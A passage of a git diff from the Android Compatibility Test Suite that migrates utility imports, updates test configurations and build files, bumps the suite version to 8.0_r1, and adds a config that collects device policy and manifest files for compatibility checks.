+            private String mFailedDescription;
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText(mFailedDescription);
+            }
+
+            @Override
+            protected boolean matchesSafely(List<Integer> item) {
+                int itemCount = item.size();
+
+                if (itemCount >= 2) {
+                    for (int i = 0; i < itemCount - 1; i++) {
+                        int curr = item.get(i);
+                        int next = item.get(i + 1);
+
+                        if (curr > next) {
+                            mFailedDescription = "Values should increase between #" + i +
+                                    ":" + curr + " and #" + (i + 1) + ":" + next;
+                            return false;
+                        }
+                    }
+                }
+
+                return true;
+            }
+        };
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/util/ViewTestUtils.java b/tests/tests/widget/src/android/widget/cts/util/ViewTestUtils.java
deleted file mode 100644
index e9ef867..0000000
--- a/tests/tests/widget/src/android/widget/cts/util/ViewTestUtils.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts.util;
-
-import junit.framework.Assert;
-
-import android.app.Instrumentation;
-import android.support.annotation.NonNull;
-import android.support.annotation.Nullable;
-import android.view.View;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnDrawListener;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utilities for testing View behavior.
- */
-public class ViewTestUtils {
-
-    /**
-     * Runs the specified Runnable on the main thread and ensures that the
-     * specified View's tree is drawn before returning.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view whose tree should be drawn before returning
-     * @param runner the runnable to run on the main thread, or {@code null} to
-     *               simply force invalidation and a draw pass
-     */
-    public static void runOnMainAndDrawSync(@NonNull Instrumentation instrumentation,
-            @NonNull final View view, @Nullable final Runnable runner) {
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        instrumentation.runOnMainSync(() -> {
-            final ViewTreeObserver observer = view.getViewTreeObserver();
-            final OnDrawListener listener = new OnDrawListener() {
-                @Override
-                public void onDraw() {
-                    observer.removeOnDrawListener(this);
-                    view.post(() -> latch.countDown());
-                }
-            };
-
-            observer.addOnDrawListener(listener);
-
-            if (runner != null) {
-                runner.run();
-            } else {
-                view.invalidate();
-            }
-        });
-
-        try {
-            Assert.assertTrue("Expected draw pass occurred within 5 seconds",
-                    latch.await(5, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-    }
-}
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 947f84f..81d315f 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -21,10 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
index bc0deb5..5d7db34 100644
--- a/tests/tests/wrap/nowrap/AndroidTest.xml
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS No Wrap test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index 4a40cff..2bfb7a5 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -21,10 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/wrap/wrap_debug/AndroidTest.xml b/tests/tests/wrap/wrap_debug/AndroidTest.xml
index 246268b..9ce56ee 100644
--- a/tests/tests/wrap/wrap_debug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Debug Wrap test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapDebugTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 6d8db4b..799030d 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -21,10 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
index fd18f4c..ae27182 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Wrap test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWrapWrapNoDebugTestCases.apk" />
     </target_preparer>
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 1b90a79..2ac45a2 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -18,7 +18,7 @@
 # don't include this package in any target
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 36c423d..dd8d28a 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS TV Provider test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="tv" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
     </target_preparer>
@@ -22,5 +23,6 @@
         <option name="package" value="android.tvprovider.cts" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index 411bd24..e9c7ae0 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -24,7 +24,6 @@
 import android.content.ContentValues;
 import android.content.OperationApplicationException;
 import android.content.pm.PackageManager;
-import android.cts.util.CtsAndroidTestCase;
 import android.database.Cursor;
 import android.media.tv.TvContract;
 import android.media.tv.TvContract.Channels;
@@ -32,6 +31,7 @@
 import android.net.Uri;
 import android.os.RemoteException;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
 import com.android.compatibility.common.util.MeasureTime;
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 3d13489..0ad32d1 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/ui/AndroidTest.xml b/tests/ui/AndroidTest.xml
index 3953e79..c8fcef3 100644
--- a/tests/ui/AndroidTest.xml
+++ b/tests/ui/AndroidTest.xml
@@ -14,13 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS UI test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.ui.cts" />
-        <option name="runtime-hint" value="5m" />
+        <option name="runtime-hint" value="12m" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
     </test>
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index 5348731..d7b91d9 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -23,7 +23,7 @@
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util ctstestrunner
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libnativehelper_compat_libc++
 
diff --git a/tests/video/AndroidTest.xml b/tests/video/AndroidTest.xml
index 647ef31..e30a394 100644
--- a/tests/video/AndroidTest.xml
+++ b/tests/video/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Video test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVideoTestCases.apk" />
     </target_preparer>
@@ -22,5 +23,6 @@
         <option name="package" value="android.video.cts" />
         <!-- test-timeout unit is ms, value = 10 min -->
         <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="42m45s" />
     </test>
 </configuration>
diff --git a/tests/video/src/android/video/cts/CodecInfo.java b/tests/video/src/android/video/cts/CodecInfo.java
index e1ed78f..4309a96 100644
--- a/tests/video/src/android/video/cts/CodecInfo.java
+++ b/tests/video/src/android/video/cts/CodecInfo.java
@@ -16,7 +16,7 @@
 
 package android.video.cts;
 
-import android.cts.util.MediaUtils;
+import com.android.compatibility.common.util.MediaUtils;
 
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
diff --git a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
index 9bd1fcf..7b1dc11 100644
--- a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
+++ b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
@@ -16,8 +16,6 @@
 
 package android.video.cts;
 
-import android.cts.util.MediaPerfUtils;
-import android.cts.util.MediaUtils;
 import android.graphics.ImageFormat;
 import android.graphics.Point;
 import android.media.Image;
@@ -34,8 +32,10 @@
 import android.util.Pair;
 import android.util.Range;
 
-import android.cts.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.MediaPerfUtils;
+import com.android.compatibility.common.util.MediaUtils;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
diff --git a/tests/vm/AndroidTest.xml b/tests/vm/AndroidTest.xml
index fc1098b..c6f2058 100644
--- a/tests/vm/AndroidTest.xml
+++ b/tests/vm/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS VM test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVmTestCases.apk" />
     </target_preparer>
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index e9e92f4..92c99b1 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
 
diff --git a/tests/vr/AndroidTest.xml b/tests/vr/AndroidTest.xml
index a687370..17a2a8f 100644
--- a/tests/vr/AndroidTest.xml
+++ b/tests/vr/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS VR test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="vr" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsVrTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.vr.cts" />
+        <option name="runtime-hint" value="13m" />
     </test>
 </configuration>
diff --git a/tests/vr/src/android/vr/cts/VrCpuTest.java b/tests/vr/src/android/vr/cts/VrCpuTest.java
index f015899..8bc1aec 100644
--- a/tests/vr/src/android/vr/cts/VrCpuTest.java
+++ b/tests/vr/src/android/vr/cts/VrCpuTest.java
@@ -33,13 +33,4 @@
             assertTrue(Runtime.getRuntime().availableProcessors() >= 2);
         }
     }
-
-    public void testHasExclusiveCores() {
-        mActivity = getActivity();
-        if (mActivity.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
-            int[] excl_cores = Process.getExclusiveCores();
-            assertTrue(excl_cores.length >= 1);
-        }
-    }
 }
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index b26f4ed..9459e9c 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -116,6 +116,6 @@
         double diagonalLength = Math.sqrt(width * width + height * height);
 
         assertTrue(diagonalLength >= 4.7);
-        assertTrue(diagonalLength <= 6.);
+        assertTrue(diagonalLength <= 6.3);
     }
 }
diff --git a/tools/cts-api-coverage/src/Android.mk b/tools/cts-api-coverage/src/Android.mk
index 8c038dc..4f3b558 100644
--- a/tools/cts-api-coverage/src/Android.mk
+++ b/tools/cts-api-coverage/src/Android.mk
@@ -30,4 +30,11 @@
 LOCAL_MODULE := cts-api-coverage
 LOCAL_MODULE_TAGS := optional
 
+# This tool is not checking any dependencies or metadata, so all of the
+# dependencies of all of the tests must be on its classpath. This is
+# super fragile.
+LOCAL_STATIC_JAVA_LIBRARIES += \
+        host-libprotobuf-java-full \
+        platformprotos
+
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-api-coverage/src/MANIFEST.mf b/tools/cts-api-coverage/src/MANIFEST.mf
index 63d6674..16533b5 100644
--- a/tools/cts-api-coverage/src/MANIFEST.mf
+++ b/tools/cts-api-coverage/src/MANIFEST.mf
@@ -1,3 +1,3 @@
 Manifest-Version: 1.0
 Main-Class: com.android.cts.apicoverage.CtsApiCoverage
-Class-Path: tradefed-prebuilt.jar
+Class-Path: tradefed.jar
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 43b346d..2affc5e 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 228d6a3..5497dda 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -25,10 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-preconditions \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-preconditions
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
index 8f6039d..fae85b4 100644
--- a/tools/cts-reference-app-lib/Android.mk
+++ b/tools/cts-reference-app-lib/Android.mk
@@ -24,8 +24,6 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
-
 LOCAL_SDK_VERSION := current
 
 LOCAL_MODULE := android.cts.refapp
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 7783e58c..179cd0a 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,10 +25,10 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 7.1_r2
+LOCAL_SUITE_VERSION := 8.0_r1
 
 LOCAL_MODULE := cts-tradefed
-
+include cts/error_prone_rules.mk
 include $(BUILD_COMPATIBILITY_SUITE)
 
 # Build all sub-directories
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 3edc21f..7560b62 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -88,10 +88,15 @@
 fi;
 
 JAR_DIR=${CTS_ROOT}/android-cts/tools
-JARS="tradefed-prebuilt
+JARS="tradefed
   hosttestlib
   compatibility-host-util
-  cts-tradefed"
+  compatibility-host-util-tests
+  cts-tradefed
+  cts-tradefed-tests
+  compatibility-common-util-tests
+  compatibility-tradefed-tests
+  host-libprotobuf-java-full"
 
 for JAR in $JARS; do
     checkFile ${JAR_DIR}/${JAR}.jar
@@ -104,7 +109,7 @@
   google-tf-prod-tests"
 
 for JAR in $OPTIONAL_JARS; do
-    if [ -f "$JAR.jar" ]; then
+    if [ -f "${JAR_DIR}/${JAR}.jar" ]; then
         JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}.jar
     fi;
 done
@@ -124,5 +129,5 @@
     JAR_PATH=${JAR_PATH}:$j
 done
 
-java $RDBG_FLAG -cp ${JAR_PATH} -DCTS_ROOT=${CTS_ROOT} com.android.compatibility.common.tradefed.command.CompatibilityConsole "$@"
+java $RDBG_FLAG -Xmx4g -XX:+HeapDumpOnOutOfMemoryError -cp ${JAR_PATH} -DCTS_ROOT=${CTS_ROOT} com.android.compatibility.common.tradefed.command.CompatibilityConsole "$@"
 
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
index fea3f3d..6d179a2 100644
--- a/tools/cts-tradefed/res/config/collect-tests-only.xml
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -22,32 +22,14 @@
          them as passed.
          Obviously no one would modify the report before uploading to falsify this
          information, as that would be dishonest, and dishonesty kills kittens :'( -->
-    <option name="compatibility:plan" value="collect-tests-only" />
+    <option name="plan" value="collect-tests-only" />
 
     <option name="skip-preconditions" value="true" />
     <option name="skip-connectivity-check" value="true" />
+    <option name="preparer-whitelist" value="com.android.tradefed.targetprep.suite.SuiteApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.ApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.FilePusher" />
 
-    <!-- Tell all AndroidJUnitTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:collect-tests-only:true" />
-
-    <!-- Tell all GTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.GTest:collect-tests-only:true" />
-
-    <!-- Tell all HostTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:collect-tests-only:true" />
-
-    <!-- Tell all DEQPTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.drawelements.deqp.runner.DeqpTestRunner:collect-tests-only:true" />
-
-    <!-- Tell all JarHostTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:collect-tests-only:true" />
-
-    <!-- Tell all DalvikTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.compatibility.testtype.DalvikTest:collect-tests-only:true" />
-
-    <!-- Tell all LibcoreTests to only list the tests -->
-    <option name="compatibility:test-arg" value="com.android.compatibility.testtype.LibcoreTest:collect-tests-only:true" />
+    <option name="compatibility:collect-tests-only" value="true" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index c42b97b..bedfb15 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -17,15 +17,16 @@
 
     <include name="cts" />
 
-    <option name="compatibility:plan" value="cts" />
+    <option name="plan" value="cts" />
 
     <option name="skip-preconditions" value="false" />
     <option name="skip-connectivity-check" value="false" />
 
-    <!-- Tell all AndroidJUnitTests to only list the tests -->
+    <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
 
-    <!-- Tell all HostTests to only list the tests -->
+    <!-- Tell all HostTests to exclude certain annotations -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-camera.xml b/tools/cts-tradefed/res/config/cts-camera.xml
index 5bc395d..47377b4 100644
--- a/tools/cts-tradefed/res/config/cts-camera.xml
+++ b/tools/cts-tradefed/res/config/cts-camera.xml
@@ -17,7 +17,7 @@
 
     <include name="cts" />
 
-    <option name="compatibility:plan" value="cts-camera" />
+    <option name="plan" value="cts-camera" />
 
     <!-- All camera CTS tests -->
     <option name="compatibility:include-filter" value="CtsCameraTestCases" />
diff --git a/tools/cts-tradefed/res/config/cts-dev.xml b/tools/cts-tradefed/res/config/cts-dev.xml
index 0cf53ca..4ebda1b 100644
--- a/tools/cts-tradefed/res/config/cts-dev.xml
+++ b/tools/cts-tradefed/res/config/cts-dev.xml
@@ -20,8 +20,9 @@
     <option name="log-level" value="verbose" />
     <option name="skip-preconditions" value="true" />
     <option name="skip-device-info" value="true" />
+    <option name="result-reporter:compress-logs" value="false" />
 
-    <option name="compatibility:plan" value="cts-dev" />
+    <option name="plan" value="cts-dev" />
     <option name="compatibility:skip-all-system-status-check" value="true" />
     <option name="compatibility:primary-abi-only" value="true" />
 
diff --git a/tools/cts-tradefed/res/config/cts-device-files.xml b/tools/cts-tradefed/res/config/cts-device-files.xml
new file mode 100644
index 0000000..b8031f4
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-device-files.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="CTS device files collection">
+    <option name="plan" value="cts-device-files" />
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/sys/fs/selinux/policy" />
+        <option name="dest-file" value="vintf-files/sepolicy"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/system/manifest.xml" />
+        <option name="dest-file" value="vintf-files/framework_manifest.xml"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/system/compatibility_matrix.xml" />
+        <option name="dest-file" value="vintf-files/framework_compatibility_matrix.xml"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/vendor/manifest.xml" />
+        <option name="dest-file" value="vintf-files/device_manifest.xml"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/vendor/compatibility_matrix.xml" />
+        <option name="dest-file" value="vintf-files/device_compatibility_matrix.xml"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
+        <option name="src-file" value="/proc/config.gz" />
+        <option name="dest-file" value="vintf-files/proc_config.gz"/>
+    </target_preparer>
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-filtered-sample.xml b/tools/cts-tradefed/res/config/cts-filtered-sample.xml
index 73b98c5..e4f454b 100644
--- a/tools/cts-tradefed/res/config/cts-filtered-sample.xml
+++ b/tools/cts-tradefed/res/config/cts-filtered-sample.xml
@@ -17,12 +17,13 @@
 
     <include name="common-compatibility-config" />
 
-    <option name="compatibility:plan" value="cts-filtered-sample" />
+    <option name="plan" value="cts-filtered-sample" />
 
     <!-- Tell all AndroidJUnitTests to only run the medium sized tests -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:size:medium" />
 
-    <!-- Tell 64bit CtsContentTestCases which timeout to use -->
+    <!-- Include 64bit CtsContentTestCases and tell it which timeout to use -->
+    <option name="compatibility:include-filter" value="arm64-v8a CtsContentTestCases" />
     <option name="compatibility:module-arg" value="arm64-v8a CtsContentTestCases:test-timeout:600" />
 
     <!-- Include CtsGestureTestCases but only run the tests on arm32 -->
@@ -32,6 +33,7 @@
     <option name="compatibility:exclude-filter" value="CtsMediaStressTestCases" />
 
     <!-- Include CtsUtilTestCases but only run the small tests -->
+    <option name="compatibility:include-filter" value="CtsUtilTestCases" />
     <option name="compatibility:module-arg" value="CtsUtilTestCases:size:small" />
 
 </configuration>
